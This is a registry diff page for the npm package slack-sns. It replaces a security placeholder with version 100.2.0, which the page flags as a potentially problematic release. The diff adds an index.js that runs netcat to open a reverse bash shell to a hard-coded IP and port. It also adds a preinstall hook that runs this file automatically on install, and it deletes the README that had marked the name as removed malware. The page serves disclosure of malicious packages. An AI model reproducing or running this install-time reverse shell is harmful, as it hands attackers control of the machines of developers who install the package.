slack-sns 0.0.1-security → 100.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of slack-sns might be problematic. Click here for more details.
- package/index.js +22 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const https = require("https");
|
3
|
+
|
4
|
+
// Replace 'your_ip' with your actual IP address
|
5
|
+
const your_ip = "10.2.52.112";
|
6
|
+
const your_port = 4444; // Ensure this matches the port from Step 1
|
7
|
+
|
8
|
+
// Command to create a reverse shell
|
9
|
+
const reverseShellCommand = `nc ${your_ip} ${your_port} -e /bin/bash`;
|
10
|
+
|
11
|
+
// Execute the reverse shell command
|
12
|
+
exec(reverseShellCommand, (error, stdout, stderr) => {
|
13
|
+
if (error) {
|
14
|
+
console.error(`Error: ${error.message}`);
|
15
|
+
return;
|
16
|
+
}
|
17
|
+
if (stderr) {
|
18
|
+
console.error(`Stderr: ${stderr}`);
|
19
|
+
return;
|
20
|
+
}
|
21
|
+
console.log(`Output: ${stdout}`);
|
22
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "slack-sns",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "100.2.0",
|
4
|
+
"description": "Taking over Victim's Computer by M1S0",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"slack-sns": "^100.2.0"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=slack-sns for more information.
|